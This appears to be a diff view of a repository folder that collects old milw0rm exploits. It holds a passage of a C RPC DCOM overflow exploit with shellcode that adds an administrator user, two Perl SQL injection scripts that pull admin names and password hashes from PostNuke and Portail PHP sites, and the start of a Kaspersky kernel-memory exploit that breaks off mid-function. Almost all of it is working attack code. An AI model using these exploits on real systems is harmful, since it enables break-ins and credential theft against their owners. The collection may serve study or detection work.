+ ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
29
+ ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
30
+ ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
31
+ ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
32
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
33
+ ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
34
+ ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
35
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
36
+ ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
37
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
38
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
39
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
40
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
41
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
42
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
43
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
44
+ ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
45
+ ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
46
+ ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
47
+ ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
48
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
49
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
50
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
51
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
52
+ ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
53
+ ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
54
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
55
+ ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
56
+ ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
57
+ ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
58
+ ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
59
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
60
+ ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
61
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
62
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
63
+ ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
64
+ ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
65
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
66
+ ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
67
+ ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
68
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
69
+ ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
70
+ ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
71
+ ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
72
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
73
+ ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
74
+ ,0x00,0x00,0x00,0x00,0x00,0x00};
75
+
76
+ unsigned char request2[]={
77
+ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
78
+ ,0x00,0x00,0x5C,0x00,0x5C,0x00};
79
+
80
+ unsigned char request3[]={
81
+ 0x46,0x00,0x43,0x00,0x24,0x00,0x46,0x00,
82
+ 0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
83
+ ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
84
+ ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
85
+ ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
86
+
87
+
88
+
89
+ unsigned char sccnsp3sp4[]=
90
+ "\x6C\x00\x6F\x00\x63\x00\x61\x00\x6C\x00\x68\x00"
91
+ "\x6F\x00\x73\x00\x74\x00\x5C\x00\x43\x00\x24\x00\x5C\x00"
92
+
93
+ "\x58\x00\xeb\x3c\x46\x00\x46\x00\xeb\x7c\x46\x00\x46\x00\x38\x6e"
94
+ "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
95
+ "\xeb\x1e\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
96
+ "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xeb\x06\xf1\xe1\xf2\xe1\xea\xd2"
97
+
98
+ //SHELLCODE From SAM ,THANKs !
99
+ //Add user SST,password is 557,
100
+ "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x4D\x01\x80\x34\x0A\x99\xE2\xFA"
101
+ "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
102
+
103
+ "\x70\xDA\x98\x99\x99\xCC\x12\x75\x18\x75\x19\x99\x99\x99\x12\x6D"
104
+ "\x71\x92\x98\x99\x99\x10\x9F\x66\xAF\xF1\x01\x67\x13\x97\x71\x3C"
105
+ "\x99\x99\x99\x10\xDF\x95\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x0F\x99"
106
+ "\x99\x99\x10\xDF\x89\xFD\x38\x81\x99\x99\x99\x12\xD9\xA9\x14\xD9"
107
+ "\x81\x22\x99\x99\x8E\x99\x10\x81\xAA\x59\xC9\xF3\xFD\xF1\xB9\xB6"
108
+ "\xF8\xFD\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED"
109
+ "\xB9\x12\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xB9\xAC\xAC\xAE"
110
+ "\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED\xB9\x12"
111
+ "\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xFD\xFD\x99\x99\xF1\xED"
112
+ "\xB9\xB6\xF8\xF1\xEA\xB9\xEA\xEA\xF1\xF8\xED\xF6\xEB\xF1\xF0\xEA"
113
+ "\xED\xEB\xF1\xFD\xF4\xF0\xF7\xF1\xEC\xE9\xB9\xF8\xF1\xF5\xFE\xEB"
114
+ "\xF6\xF1\xF5\xF6\xFA\xF8\xF1\xF7\xFC\xED\xB9\x12\x55\xC9\xC8\x66"
115
+ "\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"
116
+ "\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"
117
+ "\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"
118
+ "\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"
119
+ "\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
120
+ "\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99"
121
+ "\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"
122
+ "\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"
123
+ "\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\x21\x67\x66\x66"
124
+
125
+ "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
126
+ "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
127
+ "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
128
+ "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
129
+ "\x7f\x19\x95\xd5\x17\x53\xe6\x6a"
130
+ "\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
131
+ "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90\x90" //
132
+ "\x90\x90\x90\x90\x90\x90\x90\x90"
133
+ "\x77\xe0\x43\x00\x00\x10\x5c\x00"
134
+ "\xeb\x1e\x01\x00"// FOR CN SP3/SP4+-MS03-26
135
+ "\x4C\x14\xec\x77"// TOP SEH FOR cn w2k+SP4,must modify to SEH of your target's os
136
+
137
+
138
+ //FILL BYTE,so sizeof(UNC)>0X400(0X80*8),why? You can read more form my artic
139
+ //"Utilization of released heap structure and exploit of universal Heap overflow in windows ".
140
+ "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x90\x02\x80\x34\x0A\x99\xE2\xFA"
141
+ "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
142
+ "\xC7\x5F\x9D\xBD\xDD\x14\xDD\xBD\xDD\xC9\x14\xDD\xBD\x9D\xC9\x14"
143
+ "\x1D\xBD\x1D\x99\x99\x99\xC9\x14\x1D\xBD\x0D\x99\x99\x99\xC9\xAA"
144
+ "\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\x2D\x99\x99\x99\xC9\x66\xCF"
145
+ "\x95\x14\xD5\xBD\xDD\x14\x8D\xBD\xAA\x59\xC9\xF1\xAC\x99\xAE\x99"
146
+ "\xF1\xB9\x99\xAC\x99\xF1\xEA\x99\xED\x99\xF1\xB9\x99\xEA\x99\xF1"
147
+ "\xFC\x99\xEB\x99\xF1\xEC\x99\xEA\x99\xF1\xED\x99\xB9\x99\xF1\xF7"
148
+ "\x99\xFC\x99\x12\x45\xC8\xCB\xC8\xCB\x14\x1D\xBD\x29\x99\x99\x99"
149
+ "\xC9\x14\x1D\xBD\x59\x99\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA"
150
+ "\x14\x1D\xBD\x79\x99\x99\x99\xC9\x66\xCF\x95\xC3\xC0\xAA\x59\xC9"
151
+ "\xF1\xFD\x99\xFD\x99\xF1\xB6\x99\xF8\x99\xF1\xED\x99\xB9\x99\xF1"
152
+ "\xEA\x99\xEA\x99\xF1\xEA\x99\xB9\x99\xF1\xF6\x99\xEB\x99\xF1\xF8"
153
+ "\x99\xED\x99\xF1\xED\x99\xEB\x99\xF1\xF0\x99\xEA\x99\xF1\xF0\x99"
154
+ "\xF7\x99\xF1\xFD\x99\xF4\x99\xF1\xB9\x99\xF8\x99\xF1\xEC\x99\xE9"
155
+ "\x99\xF1\xEB\x99\xF6\x99\xF1\xF5\x99\xFE\x99\xF1\xFA\x99\xF8\x99"
156
+ "\xF1\xF5\x99\xF6\x99\xF1\xED\x99\xB9\x99\xF1\xF7\x99\xFC\x99\x12"
157
+ "\x45\xC8\xCB\x14\x1D\xBD\x61\x99\x99\x99\xC9\x14\x1D\xBD\x91\x98"
158
+ "\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\xB1\x98\x99"
159
+ "\x99\xC9\x66\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12"
160
+ "\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12"
161
+ "\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA"
162
+ "\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD"
163
+ "\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A"
164
+ "\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2"
165
+ "\x5B\x9D\x99\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12"
166
+ "\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31"
167
+ "\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\xEC\x64\x66\x66"
168
+
169
+ "\x04\x04\x00\x70\x00\x04\x40"
170
+ "\x00\x10\x5c\x00\x78\x01\x07\x00\x78\x01\x07\x00\xa0\x04\x00"
171
+
172
+ "\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71";
173
+
174
+
175
+ unsigned char request4[]={
176
+ 0x01,0x10
177
+ ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
178
+ ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
179
+ ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
180
+ };
181
+
182
+ void main(int argc,char ** argv)
183
+ {
184
+ WSADATA WSAData;
185
+ SOCKET sock;
186
+ int len,len1;
187
+ SOCKADDR_IN addr_in;
188
+ short port=135;
189
+ unsigned char buf1[0x1000];
190
+ unsigned char buf2[0x1000];
191
+
192
+ printf("RPC DCOM overflow Vulnerability discoveried by NSFOCUS\n");
193
+ printf("Code by FlashSky,Flashsky xfocus org\n");
194
+ printf("Welcome to our Site: http://www.xfocus.org\n");
195
+ printf("Welcome to our Site: http://www.venustech.com.cn\n");
196
+ if(argc!=2)
197
+ {
198
+ printf("%s targetIP \n",argv[0]);
199
+ printf("for cn w2k server sp3/sp4+ms03-26\n");
200
+ }
201
+
202
+ if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
203
+ {
204
+ printf("WSAStartup error.Error:%d\n",WSAGetLastError());
205
+ return;
206
+ }
207
+
208
+ addr_in.sin_family=AF_INET;
209
+ addr_in.sin_port=htons(port);
210
+ addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
211
+
212
+ if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
213
+ {
214
+ printf("Socket failed.Error:%d\n",WSAGetLastError());
215
+ return;
216
+ }
217
+ len1=sizeof(request1);
218
+ len=sizeof(sccnsp3sp4);
219
+
220
+ if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
221
+ {
222
+ printf("Connect failed.Error:%d",WSAGetLastError());
223
+ return;
224
+ }
225
+ memcpy(buf2,request1,sizeof(request1));
226
+ *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sccnsp3sp4)/2;
227
+ *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sccnsp3sp4)/2;
228
+ memcpy(buf2+len1,request2,sizeof(request2));
229
+ len1=len1+sizeof(request2);
230
+ memcpy(buf2+len1,sccnsp3sp4,sizeof(sccnsp3sp4));
231
+ len1=len1+sizeof(sccnsp3sp4);
232
+ memcpy(buf2+len1,request3,sizeof(request3));
233
+ len1=len1+sizeof(request3);
234
+ memcpy(buf2+len1,request4,sizeof(request4));
235
+ len1=len1+sizeof(request4);
236
+ *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+len-0xc;
237
+
238
+ *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+len-0xc;
239
+ *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+len-0xc;
240
+ *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+len-0xc;
241
+ *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+len-0xc;
242
+ *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+len-0xc;
243
+ *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+len-0xc;
244
+ *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+len-0xc;
245
+ if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
246
+ {
247
+ printf("Send failed.Error:%d\n",WSAGetLastError());
248
+ return;
249
+ }
250
+
251
+ len=recv(sock,buf1,1000,NULL);
252
+ if (send(sock,buf2,len1,0)==SOCKET_ERROR)
253
+ {
254
+ printf("Send failed.Error:%d\n",WSAGetLastError());
255
+ return;
256
+ }
257
+ // len=recv(sock,buf1,1024,NULL);
258
+ }
259
+
260
+ /*
261
+
262
+ */
263
+
264
+ // milw0rm.com [2003-09-20]
exploit-analyzer/exploits/exploit_1030.txt ADDED
@@ -0,0 +1,62 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/perl
2
+ # This tools is only for educational purpose
3
+ #
4
+ # K-C0d3r a x0n3-h4ck friend !!!
5
+ #
6
+ # This exploit should give admin nick and md5 password
7
+ #
8
+ #-=[ PostNuke SQL Injection version : x=> 0.750]=-
9
+ #-=[ ]=-
10
+ #-=[ Discovered by sp3x ]=-
11
+ #-=[ Coded by K-C0d3r ]=-
12
+ #-=[ irc.xoned.net #x0n3-h4ck to find me K-c0d3r[at]x0n3-h4ck.org]=-
13
+ #
14
+ # Greetz to mZ, 2b TUBE, off, rikky, milw0rm, str0ke
15
+ #
16
+ # !!! NOW IS PUBLIC (6-6-2005) !!!
17
+
18
+ use IO::Socket;
19
+
20
+ sub Usage {
21
+ print STDERR "Usage: KCpnuke-xpl.pl <www.victim.com> </path/to/modules.php>\n";
22
+ exit;
23
+ }
24
+
25
+ if (@ARGV < 2)
26
+ {
27
+ Usage();
28
+ }
29
+
30
+ if (@ARGV > 2)
31
+ {
32
+ Usage();
33
+ }
34
+
35
+ if (@ARGV == 2)
36
+ {
37
+ $host = @ARGV[0];
38
+ $path = @ARGV[1];
39
+
40
+ print "[K-C0d3r] PostNuke SQL Injection [x0n3-h4ck]\n";
41
+ print "[+] Connecting to $host\n";
42
+
43
+ $injection = "$host\/$path?";
44
+ $injection .= "op=modload&name=Messages&file=readpmsg&start=0";
45
+ $injection .= "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";
46
+ $injection .= "%20FROM%20pn_users%20WHERE%20pn_uid=2\/*&total_messages=1";
47
+
48
+ $socket = new IO::Socket::INET (PeerAddr => "$host",
49
+ PeerPort => 80,
50
+ Proto => 'tcp');
51
+ die unless $socket;
52
+
53
+ print "[+] Injecting command ...\n";
54
+ print $socket "GET http://$injection HTTP/1.1\nHost: $host\n\n";
55
+ while (<$socket>)
56
+ {
57
+ print $_;
58
+ exit;
59
+ }
60
+ }
61
+
62
+ # milw0rm.com [2005-06-05]
exploit-analyzer/exploits/exploit_1031.txt ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/perl -w
2
+ #
3
+ # SQL Injection Exploit for Portail PHP < 1.3
4
+ # This exploit show the username of the administrator of the portal and his password crypted in MD5
5
+ # Related advisory: http://www.securityfocus.com/archive/1/398728/2005-05-21/2005-05-27/0
6
+ # Coded by Alberto Trivero
7
+
8
+ use LWP::Simple;
9
+
10
+ print "\n\t=================================\n";
11
+ print "\t= Exploit for Portail PHP < 1.3 =\n";
12
+ print "\t= Alberto Trivero - codebug.org =\n";
13
+ print "\t=================================\n\n";
14
+
15
+ if(!$ARGV[0] or !($ARGV[0]=~m/http/)) {
16
+ print "Usage:\nperl $0 [full_target_path]\n\n";
17
+ print "Examples:\nperl $0 http://www.example.com/portailphp/\n";
18
+ exit(0);
19
+ }
20
+
21
+ $url=q[index.php?affiche=Liens&id=1%20UNION%20SELECT%20null,null,null,null,null,null,US_pwd,US_nom,null%20FROM%20pphp_user/*];
22
+ $page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
23
+ print "[+] Connected to: $ARGV[0]\n";
24
+ $page=~m/0000-00-00, 0 \)<\/i> <br><br><br><br><\/td> <\/tr> <tr> <td width='100%'>(.*?)<\/td> <\/tr>/ && print "[+] Username of administrator is: $1\n";
25
+ print "[-] Unable to retrieve username\n" if(!$1);
26
+ $page=~m/<img border='0' src='\.\/images\/ico_liens\.gif' >&nbsp;<b> <\/b>: (.*?)<\/td>/ && print "[+] MD5 hash of password is: $1\n";
27
+ print "[-] Unable to retrieve hash of password\n" if(!$1);
28
+
29
+ # milw0rm.com [2005-06-06]
exploit-analyzer/exploits/exploit_1032.txt ADDED
@@ -0,0 +1,153 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /* Added NO_STRICT to 1 on line 2 /str0ke ! milw0rm.com */
2
+ #define NO_STRICT 1
3
+ #include <windows.h>
4
+
5
+ #undef STRICT
6
+
7
+ PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;
8
+
9
+ PDWORD pJmpAddress=(PDWORD)0xBE9372B0;
10
+
11
+ PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};
12
+
13
+ PUCHAR pKAVRet;
14
+
15
+
16
+ unsigned char code[]={0x68,0x00,0x02,0x00,0x00, //push 0x200
17
+ 0x68,0x00,0x80,0x93,0xBE, //push <buffer address> - 0xBE938000
18
+ 0x6A,0x00, //push 0
19
+ 0xB8,0x00,0x00,0x00,0x00, //mov eax,<GetModuleFileNameA> -> +13
20
+ 0xFF,0xD0, //call eax
21
+ 0x68,0x00,0x80,0x93,0xBE, //push <buffer address>
22
+ 0x68,0x00,0x82,0x93,0xBE, //push <address of the notepad path>- 0xBE938200
23
+ 0xB8,0x00,0x00,0x00,0x00, //mov eax,<lstrcmpiA> -> +30
24
+ 0xFF,0xD0, //call eax
25
+ 0x85,0xC0, //test eax,eax
26
+ 0x74,0x03, //je +03
27
+ 0xC2,0x04,0x00, //retn 4
28
+ 0x6A,0x00, //push 0
29
+ 0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
30
+ 0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
31
+ 0x6A,0x00, //push 0
32
+ 0xB8,0x00,0x00,0x00,0x00, //mov eax,<MessageBoxA> -> +58
33
+ 0xFF,0xD0, //call eax
34
+ 0xC2,0x04,0x00 //retn 4
35
+ };
36
+
37
+ unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt [0xBE9372B0]
38
+
39
+ //////////////////////////////////////////////////////////////
40
+
41
+ BOOLEAN LoadExploitIntoKernelMemory(void){
42
+
43
+
44
+
45
+ //Get function's addresses
46
+
47
+ HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
48
+ HANDLE hUser=GetModuleHandle("USER32.DLL");
49
+
50
+ FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
51
+ FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");
52
+
53
+ FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");
54
+
55
+ *(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
56
+ *(DWORD*)(code+30)=(DWORD)plstrcmpiA;
57
+ *(DWORD*)(code+58)=(DWORD)pMessageBoxA;
58
+
59
+ //Prepare our data into ring0-zone.
60
+
61
+ PCHAR pNotepadName=(PCHAR)0xBE938200;
62
+
63
+ char temp_buffer[MAX_PATH];
64
+ char *s;
65
+
66
+ SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);
67
+
68
+ lstrcpy(pNotepadName,temp_buffer);
69
+
70
+ PCHAR pMessage=(PCHAR)0xBE938400;
71
+
72
+ lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");
73
+
74
+ memmove(pCodeBase,code,sizeof(code));
75
+
76
+ *pJmpAddress=(DWORD)pCodeBase;
77
+
78
+ memmove(pKAVRet,jmp_code,sizeof(jmp_code));
79
+
80
+ return TRUE;
81
+ }
82
+
83
+ ///////////////////////////////////////////////////////////////
84
+
85
+ void UnloadExploitFromKernelMemory(){
86
+
87
+ UCHAR retn_4[]={0xC2,0x04,0x00};
88
+
89
+ memmove(pKAVRet,retn_4,sizeof(retn_4));
90
+
91
+ }
92
+
93
+ /////////////////////////////////////////////////////////////////
94
+
95
+ PUCHAR GetKAVRetAddress(void){
96
+
97
+ //Check the retn 4 in the KAV 0xBE9334E1 function end
98
+ //Also, we check the KAV klif.sys existance.
99
+
100
+ UCHAR retn_4[]={0xC2,0x04,0x00};
101
+
102
+ __try{
103
+
104
+ for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){
105
+
106
+ if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0)
107
+ return pKAVRets[i];
108
+
109
+ }
110
+
111
+ }__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not installed",NULL,0);return NULL;}
112
+
113
+
114
+ MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of KAV",NULL,0);
115
+ return NULL;
116
+ }
117
+
118
+ /////////////////////////////////////////////////////////////////
119
+
120
+ void main(void){
121
+
122
+ pKAVRet=GetKAVRetAddress();
123
+
124
+ if(NULL==pKAVRet)
125
+ return;
126
+
127
+
128
+ if(!LoadExploitIntoKernelMemory())
129
+ return;
130
+
